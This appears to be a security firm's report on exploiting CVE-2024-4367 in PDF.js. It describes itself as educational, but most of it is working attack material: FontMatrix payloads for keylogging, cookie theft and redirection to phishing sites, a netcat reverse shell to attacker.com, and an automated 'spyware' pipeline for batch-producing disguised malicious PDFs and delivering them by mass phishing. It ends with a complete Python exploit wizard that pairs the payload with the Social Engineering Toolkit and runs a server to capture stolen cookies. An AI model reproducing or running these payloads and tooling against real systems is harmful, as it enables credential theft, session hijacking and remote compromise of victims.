Topic

WEAPONIZING PDF.JS: A PRACTICAL DEMONSTRATION OF CVE-2024-4367 EXPLOITATION

DIGITAL FORENSICS (AND THREAT HUNTING)

ScaryByte SOC Team

ScaryByte R&D Team

05/01/2025

INDEX

OVERVIEW OF THE VULNERABILITY

CVE IDENTIFIER	CVE-2024-4367
SEVERITY	Critical (CVSS Score: 9.8)
VULNERABILITY	Arbitrary JavaScript code execution in PDF.js due to insufficient type checks on FontMatrix object
EXPLOITATION	Maliciously crafted PDF files can execute JavaScript in the victim's browser, leading to data theft, XSS, or RCE.

CVE-2024-4367 is a critical vulnerability (CVSS 9.8) in PDF.js; it allows for arbitrary JavaScript code execution due to insufficient type checks on the FontMatrix object within PDF files. An attacker can trigger this vulnerability by crafting malicious PDF documents, leading to the execution of JavaScript in the browser of the victim. This leads to severe consequences like data theft, session hijacking (XSS), or even RCE, especially if the environment or application that runs PDF.js is misconfigured or provides a Node.js backend. PDF.js is an open-source library developed by Mozilla, running in browsers such as Firefox, and integrated into numerous web applications. Therefore, the impact of this vulnerability is very critical.

[This public version is a Redacted Report] This material is strictly for educational and authorized penetration testing purposes. Please ensure all appropriate permissions and safeguards are in place before using these techniques.

ISOLATED LAB SETUP

This setup ensured a controlled environment for safe testing and accurate reproduction of the vulnerability without risking other system

CLONE THE PDF.JS REPOSITORY

We cloned the official PDF.js repository from Mozilla's GitHub account to work with the source code directly. This approach ensures we can check out the exact commit corresponding to the vulnerable version.

```
git clone https://github.com/mozilla/pdf.js
```

```
cd pdf.js
```

Refer to the repository's README for additional build or configuration details if needed.

CHECKOUT A VULNERABLE COMMIT

To ensure we're testing exactly the vulnerable version, we checked out the v4.2.66 tag (or the corresponding commit hash) in the repository. If tags are not present, you can identify the commit from the GitHub commit history or release notes:

```
git fetch --tags
git checkout v4.2.66
```

After checkout, we verified the version in the package.json or a relevant build file to confirm that we're working with the 4.2.66 code base.

INSTALL DEPENDENCIES AND START THE PDF.JS VIEWER

From the pdf.js directory, install the required dependencies and launch the PDF.js development server by running:

```
npm install
npm start
```

By default, the server listens on **http://localhost:8888**, where you can load and test PDF files.

VERSION CONFIRMATION

After launching the server, we opened the vulnerable PDF.js viewer in a browser. We used **Wappalyzer** to detect the PDF.js version loaded, verifying it reported 4.2.66 (or earlier). If no version is displayed, we also recommend checking the local package.json or build files to confirm the repository's actual version. If the environment indicates an unpatched release, we assume it remains potentially vulnerable to CVE-2024-4367.

ATTACK TOOLS

We employed several tools to craft, modify, and deploy malicious PDFs for testing:

- ➔ **qpdf:** Useful for unlocking restricted PDFs and editing internal objects.
- ➔ **pdftk:** A versatile tool capable of splitting, merging, and injecting payloads into PDF structures.

In Python, we relied on:

- ➔ **PyPDF2:** A widely used library for reading and manipulating PDF files programmatically.
- ➔ **pikepdf:** Built on QPDF, offering more robust editing capabilities for complex PDFs.

For hosting malicious PDFs locally, we used: `python3 -m http.server 8080` which provided a lightweight HTTP server for controlled distribution and testing.

Additionally, **Burp Suite** facilitated HTTP interception for file uploads, allowing us to insert payloads into PDFs when they were transmitted to target systems.

All tests were conducted in a sandboxed virtual machine environment to prevent accidental system compromise. We loaded malicious PDFs in an isolated browser session, monitored the JavaScript execution via developer tools, and verified network requests (e.g., attempts to exfiltrate cookies). Detailed logs of each test were maintained in a secure, separate repository for future analysis and reporting.

ADVANCED EXPLOITATION SCENARIOS

In the following scenarios, we demonstrate how CVE-2024-4367 can be exploited by embedding malicious payloads into PDF files. Each payload leverages the vulnerable version of PDF.js to execute JavaScript, resulting in a range of possible outcomes—from keylogging to remote code execution (RCE) under specific conditions.

These scenarios are illustrated with realistic impacts and detailed execution steps, showing how attackers can adapt each payload to their objectives: capturing user inputs, exfiltrating session tokens, redirecting victims to phishing pages, or even compromising backend systems.

While Scenario 4 requires a misconfigured Node.js or similar environment to achieve RCE, all scenarios highlight potential ways an attacker can chain this vulnerability with others (e.g., XSS, CSRF) to magnify the final impact.

Disclaimer: The following examples are provided for authorized testing and educational purposes only. We strongly advise security researchers and organizations to conduct all testing within an isolated lab environment.

SCENARIO 1: KEYLOGGER INJECTION

In this scenario, attackers embed a keylogger into a malicious PDF, leveraging CVE-2024-4367 to execute JavaScript within the victim's browser. This script listens for keydown events and sends each captured keystroke to an attacker-controlled endpoint:

```
/FontMatrix [1 0 0 1 0 (0\);
document.body.addEventListener('keydown', (e) =>
  fetch('http://attacker.com/keys', {method: 'POST', body: e.key})
)//)]
```

This enables real-time collection of sensitive information such as passwords, financial data, or personal messages. The user remains unaware of the data exfiltration.

EVIDENCE

On the Browser/Dev Tools, inspect network requests and observe traffic to http://attacker.com/keys each time a key is pressed. And on the attacker's Server, continuously monitor logs: `tail -f /var/log/nginx/access.log`) to see incoming keystrokes in real time.

As this scenario demonstrates, any text the user types while viewing the PDF (such as usernames, passwords, or search queries) can be silently recorded and transmitted to a malicious actor.

SCENARIO 2: COOKIE EXFILTRATION

This scenario demonstrates how attackers can steal session cookies (or other sensitive tokens) by leveraging the CVE-2024-4367 vulnerability to run JavaScript within the victim's browser context. The payload below captures the document.cookie string and sends it to an attacker-controlled endpoint:

```
/FontMatrix [1 0 0 1 0 (0\);
  fetch('http://attacker.com/cookies', {method: 'POST', body:
document.cookie})
//)]
```

If these cookies contain authentication tokens, the attacker can hijack sessions and gain unauthorized access to web applications. In many real-world cases, such an attack can facilitate account takeover, data theft, or privilege escalation.

EVIDENCE

On the victim side, use the browser developer tools to inspect **document.cookie** output. And monitor outgoing HTTP requests to the attacker's server: `tail -f /var/log/nginx/access.log`

SCENARIO 3: REDIRECTING VICTIMS

In this scenario, CVE-2024-4367 is leveraged to redirect unsuspecting users to a malicious or phishing site. The JavaScript payload modifies the browser's location:

```
/FontMatrix [1 0 0 1 0 (0\); window.location.href =
'http://phishing-site.com'//)]
```

Once redirected, victims may be tricked into entering credentials, enabling identity theft, financial fraud, or further malware compromises.

EVIDENCE

From the Victim's browser, history will show an unexpected redirection to http://phishing-site.com. And on the phishing site: `tail -f /var/log/nginx/access.log`

SCENARIO 4: REMOTE CODE EXECUTION (RCE)

Under specific configurations—particularly when PDF.js is integrated with a Node.js backend that fails to sandbox user-provided scripts—attackers can execute arbitrary system commands. In the example below, the payload invokes the `require('child_process')` module to spawn a reverse shell via Netcat:

```
/FontMatrix [1 0 0 1 0 (0\); require('child_process').exec('nc -e
/bin/bash attacker.com 4444')//)]
```

This grants the attacker remote access to the host system, potentially enabling data exfiltration, ransomware deployment, or lateral movement within the network.

EVIDENCE

Use tcpdump or Wireshark to monitor the reverse shell connection: `tcpdump -i eth0 host attacker.com`. And, on the attacker's machine, listen to the connection: `nc -lvp 4444`. Once connected, the attacker can issue commands such as `whoami` or `cat /etc/passwd` to verify control.

SPYWARE USE CASE: WEAPONIZING CVE-2024-4367

Spyware campaigns often rely on large-scale automation to efficiently compromise multiple targets. Due to its ability to execute arbitrary JavaScript when embedded in PDF documents, CVE-2024-4367 offers attackers a streamlined pipeline for creating, delivering, and executing malicious PDFs. Whether aiming for credential theft, system reconnaissance, or data exfiltration, attackers can integrate this exploit into existing phishing or malware frameworks with minimal manual intervention, making it highly effective in real-world spyware campaigns.

AUTOMATING THE ATTACK PIPELINE

Below are the step-by-step automation sections. Each step is already fairly comprehensive, but we can refine them for clarity and realism.

STEP 1: AUTOMATED CRAFTING OF MALICIOUS PDFS

Attackers begin by selecting or generating PDFs that appear credible—such as invoices, resumes, or company reports. Using automated scripts (e.g., Python), they inject malicious JavaScript payloads into the FontMatrix field, ensuring the content still appears harmless to the victim. Below is an example using PyPDF2:

```
from PyPDF2 import PdfReader, PdfWriter
from PyPDF2.generic import NameObject, TextStringObject
```

```python
def inject_payload(input_file, output_file, payload):
    reader = PdfReader(input_file)
    writer = PdfWriter()

    for page in reader.pages:
        # Insert or overwrite FontMatrix with the malicious payload
        page[NameObject("/FontMatrix")] = TextStringObject(payload)
        writer.add_page(page)

    with open(output_file, "wb") as f:
        writer.write(f)

payload = "[1 0 0 1 0 (0\\); fetch('http://attacker-server.com/data',
{method: 'POST', body: document.cookie})//)]"
inject_payload("template.pdf", "malicious.pdf", payload)
```

Hundreds of such PDFs can be batch-processed, each with slight variations in the payload or file metadata. This diversity helps attackers evade basic detection methods while targeting multiple victims simultaneously.

STEP 2: AUTOMATED DELIVERY OF MALICIOUS PDFS

Armed with malicious PDFs, attackers use automated phishing frameworks like GoPhish to distribute these files to large email lists harvested from recon or data breaches. Phishing emails often contain personalized details—names, job titles, or references to ongoing business projects—to appear authentic.

In addition, PDFs may be hosted on compromised websites or attacker-controlled servers. For instance:

```
python3 -m http.server 8080
echo "Malicious PDF available at
http://malicious-site.com/malicious.pdf"
```

Attackers then distribute links via email, social media, or chat platforms (e.g., Slack, WhatsApp, LinkedIn) using scripted bots. This maximizes reach while minimizing manual effort. Some attackers also upload PDFs to legitimate file-sharing services to avoid suspicion. The final goal is to get as many targets as possible to open the PDF in a vulnerable PDF.js viewer.

STEP 3: AUTOMATED EXECUTION AND DATA EXFILTRATION

Once a target opens the PDF in a vulnerable PDF.js viewer, the malicious JavaScript executes automatically—no user interaction required. Common payloads include cookie theft, keystroke logging, or sending session tokens to an attacker-controlled Command and Control (C2) server:

```
/FontMatrix [1 0 0 1 0 (0\);
  fetch('http://attacker-server.com/log', {method: 'POST', body:
document.cookie})
//)]
```

Attackers monitor real-time logs (e.g., `tail -f /var/log/nginx/access.log`) or use more advanced C2 platforms to parse and store the stolen data.

Because the spyware framework is highly automated, operators only need to review incoming data, identify high-value accounts or systems, and decide whether to escalate further attacks.

AUTOMATING THE PIPELINE

In the below repository, you will find all the necessary information to run the below Wizard:

https://github.com/exfil0/WEAPONIZING-CVE-2024-4367

PYTHON SCRIPT

```
#!/usr/bin/env python3
"""
Demonstration Script for CVE-2024-4367 Exploit Workflow

This script illustrates a realistic end-to-end attack scenario:
1. Install necessary Python dependencies (PyPDF2) and verify Social
Engineering Toolkit (SET).
2. Create a malicious PDF with an embedded JavaScript payload.
3. Manage campaign targets (e.g., emails).
4. (Optionally) Use the Social Engineering Toolkit to deliver
phishing emails.
5. Host the malicious PDF on a local HTTP server that captures
exfiltrated data.

WARNING:
This script is for EDUCATIONAL and AUTHORIZED TESTING purposes only.
Unauthorized use is illegal and unethical.
"""

import os
import subprocess
import sys
import time
from http.server import SimpleHTTPRequestHandler, HTTPServer

# PyPDF2 imports for manipulating PDF objects
try:
    from PyPDF2 import PdfReader, PdfWriter
    from PyPDF2.generic import NameObject, TextStringObject
except ImportError:
    print("[!] PyPDF2 is not installed. Please run this script's
install step or manually install PyPDF2.")
    sys.exit(1)

# Define the malicious payload to be injected into the FontMatrix
field
MALICIOUS_PAYLOAD = (
    "[1 0 0 1 0 (0\\); "  # Begin PDF object override
    "fetch('http://localhost:8080/steal', {method: 'POST', body:
document.cookie})"
    "//)]"                # End of JavaScript payload
)

#####################################################################
###
# STEP 1: INSTALL DEPENDENCIES
#####################################################################
###

def install_dependencies():
    """
    Installs required Python dependencies via pip and checks if the
    Social Engineering Toolkit (SET) is installed on the system.
    """
    print("[+] Step 1: Installing and verifying required
dependencies...")

    # First, handle Python packages
    python_packages = ["PyPDF2"]
    for package in python_packages:
        try:
            __import__(package)
        except ImportError:
            print(f"[+] Installing Python package '{package}' via
pip...")
            subprocess.check_call([sys.executable, "-m", "pip",
"install", package])

    # Next, check if SET is installed (setoolkit)
    # Note: The official package name may vary by distribution
("set", "setoolkit", etc.).
    if subprocess.call(["which", "setoolkit"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0:
        print("[!] SET (Social Engineering Toolkit) not found in
PATH.")
        print("    Please install it manually, for example:\n")
        print("    sudo apt-get update && sudo apt-get install set")
        sys.exit(1)

    print("[+] All dependencies installed and verified
successfully.\n")

######################################################################
###
# STEP 2: CREATE A MALICIOUS PDF
######################################################################
###

def create_malicious_pdf():
    """
    Injects a JavaScript payload into the FontMatrix field of a
template PDF,
    creating 'malicious.pdf'.
    """
    print("[+] Step 2: Creating a malicious PDF...")

    input_pdf = "template.pdf"
    output_pdf = "malicious.pdf"

    if not os.path.exists(input_pdf):
        print(f"[!] Input PDF not found: {input_pdf}.")
        print("    Please ensure 'template.pdf' is in the same
directory or adjust the script accordingly.")
        sys.exit(1)
    try:
        reader = PdfReader(input_pdf)
        writer = PdfWriter()

        for page in reader.pages:
            # Properly set the FontMatrix using
NameObject/TextStringObject
            page[NameObject("/FontMatrix")] =
TextStringObject(MALICIOUS_PAYLOAD)
            writer.add_page(page)

        with open(output_pdf, "wb") as f:
            writer.write(f)

        print(f"[+] Malicious PDF created successfully:
{output_pdf}\n")
    except Exception as e:
        print(f"[!] Error creating malicious PDF: {e}")
        sys.exit(1)

######################################################################
###
# STEP 3: SETUP A SOCIAL ENGINEERING TOOLKIT (SET) CAMPAIGN
######################################################################
###

def setup_set_campaign():
    """
    Launches the Social Engineering Toolkit (SET) for crafting a
phishing campaign.
    This function assumes SET is already installed on the system.
    """
    print("[+] Step 3: Setting up a Social Engineering Toolkit (SET)
campaign...")
    set_config_path = "/usr/share/set/config/set.config"

    if not os.path.exists(set_config_path):
        print("[!] SET config not found. Ensure SET is installed
properly.")
```

```
        print("    For Debian/Ubuntu: sudo apt-get install set")
        sys.exit(1)

    # (Optional) If you want to auto-edit set.config, you could do it
here.
    # For simplicity, we skip direct modifications.

    print("[+] Launching SET. Please follow the interactive prompts
to configure and distribute your PDF.")
    print("    NOTE: Press Ctrl+C to return to this script once SET
is closed.\n")

    try:
        subprocess.run(["setoolkit"], check=True)
    except subprocess.CalledProcessError as e:
        print(f"[!] Error while running SET: {e}")
        sys.exit(1)

#####################################################################
###
# STEP 4: HOST MALICIOUS PDF ON A LOCAL HTTP SERVER
#####################################################################
###

def start_local_server():
    """
    Starts a minimal HTTP server on localhost:8080 to host the
malicious PDF
    and capture exfiltrated data (like cookies).
    """
    print("[+] Step 4: Hosting the malicious PDF on a local server at
http://localhost:8080.")
    print("    Any exfiltrated data (e.g., document.cookie) will be
displayed here.\n")

    # We can serve files from the current working directory
    directory = os.getcwd()
    os.chdir(directory)
```

```python
    class MaliciousHTTPRequestHandler(SimpleHTTPRequestHandler):
        """
        Custom handler to intercept POST requests and print
exfiltrated data.
        """
        def do_POST(self):
            content_length = int(self.headers.get('Content-Length',
0))
            post_data = self.rfile.read(content_length)
            print(f"[+] Data exfiltrated:
{post_data.decode('utf-8')}")
            self.send_response(200)
            self.end_headers()

    server_address = ("", 8080)
    httpd = HTTPServer(server_address, MaliciousHTTPRequestHandler)

    print("[+] Press Ctrl+C to stop the server.\n")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("[+] Server stopped.\n")

#####################################################################
###
# STEP 5: CAMPAIGN TARGET MANAGEMENT
#####################################################################
###

def manage_targets():
    """
    Collects a list of target email addresses or identifiers from the
user,
    returning them as a Python list.
    """
    print("[+] Step 5: Managing campaign targets...")
    targets = []

    while True:
        target = input("    Enter target email (or type 'done' to
finish): ")
        if target.lower() == 'done':
            break
        if target.strip():
            targets.append(target.strip())

    print("\n[+] Targets added:")
    for t in targets:
        print(f"    - {t}")
    print()

    return targets

#####################################################################
###
# MAIN EXECUTION FLOW
#####################################################################
###

def main():
    """
    Orchestrates the multi-step exploit demonstration:
    1. Install/check dependencies (PyPDF2 + SET).
    2. Create malicious PDF.
    3. Manage campaign targets (emails).
    4. Launch Social Engineering Toolkit (if desired).
    5. Start local server to host PDF and capture exfiltrated data.
    """
    print("=====================================================")
    print("  CVE-2024-4367 Exploit Wizard (Educational Demo)     ")
    print("=====================================================\n")

    # Step 1: Install or verify dependencies
    install_dependencies()

    input("[!] Press ENTER to proceed with creating a malicious
PDF.")
    create_malicious_pdf()
    targets = manage_targets()

    input("[!] Press ENTER to launch the Social Engineering Toolkit
(SET) campaign.")
    setup_set_campaign()

    input("[!] Press ENTER to start the local server hosting the
malicious PDF.")
    start_local_server()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Exploit wizard interrupted by user.")
        sys.exit(0)
```